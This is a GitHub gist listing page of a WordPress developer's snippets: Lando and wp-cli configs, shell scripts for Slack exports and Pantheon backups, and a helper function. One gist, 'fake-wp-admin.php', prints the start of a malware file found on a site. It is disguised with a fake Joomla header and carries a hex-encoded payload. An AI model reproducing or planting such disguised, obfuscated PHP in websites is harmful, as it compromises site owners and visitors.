Skip to content

Instantly share code, notes, and snippets.

@morganestes
morganestes / proof.md
Created February 19, 2024 13:59
Keyoxide proof

$argon2id$v=19$m=8192,t=2,p=4$slDRAy6SRi2oLOxmGNd0Ag$YAo/C4HiBEjuJGbK0GB4vAkDSaE3WMF0

@morganestes
morganestes / wp-config-lando.php
Last active November 27, 2023 17:35
Sets WP constants in Lando sites
<?php
/**
* Sets WP_HOME and WP_SITEURL based on environment settings.
*
* @return void
*/
/**
* Sets WP_HOME and WP_SITEURL based on environment settings.
*
* @return void
@morganestes
morganestes / wp-cli.local.yml
Last active November 2, 2023 18:51
WP Engine wp-cli config mods
# Assuming you have SSH keys set up with WP Engine,
# and your ~/.ssh/config includes settings for using your key with *.ssh.wpengine.net,
# you can alias your environments and run commands from your local install.
# Replace the values in {} with the install name from WPE.
@production:
ssh: {prodinstall}@{prodinstall}.ssh.wpengine.net
@staging:
ssh: {stginstall}@{stginstall}.ssh.wpengine.net
@morganestes
morganestes / .lando.dist.yml
Last active March 6, 2023 16:11
Bash script to update a local user's password for local development with Lando.
---
# Separate from .env.local and .env.pantheon used by Roots, these are added to the lando containers.
# See https://docs.lando.dev/core/v3/env.html#environment-files
env_file:
- .env.lando
tooling:
update-user:
description: Adds/updates a local WP user account used for local administration.
service: appserver
@morganestes
morganestes / .readme.md
Last active November 9, 2022 18:07
Create multiple sites with wp-cli in WordPress multisite for testing.

These commands will install multiple dummy sites in a WordPress Multisite environment.

I wrote this to easily create an environment to work on https://core.trac.wordpress.org/ticket/15317.

Usage

Shell

In the terminal, inside your WordPress directory: simply copy, paste, and run the one-line command.

You can also add it to a location available in your $PATH and invoke the script from the shell.

@morganestes
morganestes / fake-wp-admin.php
Created March 13, 2020 21:25
Contents of a malware attack hidden in /wp-content/wp-admin.php
<?php
/**
* Hueblud 2017.Administrator PIDOR2Joomla.Administrator newupdata
*@package Joomla.Administrator @package Joomla.Administrator
* @copyright Copyright (C) 2005 - 2015 Open Source Matters, Inc. All rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE.txt
*/
define('_JEXEC', '07b0418e1119091a9281ac5614cb9d776a85f21434408cdbbe26ca43b70618af81fecca59e592af986dae8dc8de4d1e52d393ea4dbba0effc61697cb06bd5431a191029cbbea4005db8ab69cda0121c121935164eab812a083c5b745502026934cd897bffca61d6a81705069c1dcc583be1da9335c5291798931e42319ab28edeb0df99ee867172c3f3cc17ef97e59ce6a81f18450bf1acfcd31998f5f628ed96f18eae45082f4a5ae99c6416a678aefc79bf025984659c9c9b43c396ec8719d2711f9a5fd094590f982f05b261abe4288023374a581f43988c08c55fb35fc4380d9e55c76fb0456cdf9fa4a324a4b59b2789f28c24434a5dfbb1573558755a423a2ad8c63f0833eac9ebe5abceffc2a146fff37adf1b18cde7b3dbb50aa29f00c35061fe316fa271f762368c28ba345827dcfdc076224cff96543833a6e77cdb3c8846819b19eb2f31fae5a37c37c4480bf1a56f77531a
@morganestes
morganestes / download_slack_files.sh
Last active June 3, 2022 21:24
Download files uploaded to a Slack instance using data from a Slack JSON export file.
#!/bin/bash
#
# Parses Slack JSON exports for files and downloads them.
#
# Requires 'jq' (https://stedolan.github.io/jq/) and 'httpie' (https://httpie.org/).
#
##
# Checks for a single dependency.
#
@morganestes
morganestes / vscodium-url-schemes.sh
Created February 20, 2020 22:39
Register VS Codium as a handler for 'vscode' protocol
plutil -insert CFBundleURLTypes.0.CFBundleURLSchemes.1 -string 'vscode' Info.plist
@morganestes
morganestes / panrestore.sh
Last active April 19, 2022 21:42
Restore all backups on Pantheon
#!/usr/bin/env bash
##
# Generates the site.env from a Pantheon site URL.
##
function getPantheonSiteEnv() {
if [[ "${1}" == *"pantheonsite.io"* ]]; then
./pantheon-sitename.sh "${1}"
else
printf "Could not convert %s to a site.env" "${1}"
@morganestes
morganestes / WordPress get_the_ID() replacement.md
Last active May 16, 2021 21:15
Get the WordPress post ID no matter where you are.

This extends the built-in WordPress function get_the_ID() to return the post ID both inside and outside the loop.

Used outside the loop (in header.php):

<?php if ( function_exists( 'gt_hide_nav' ) && ! gt_hide_nav() ) : ?>
  <nav role="navigation">
    <?php if ( function_exists( 'bones_main_nav' ) ) bones_main_nav(); ?>
  </nav>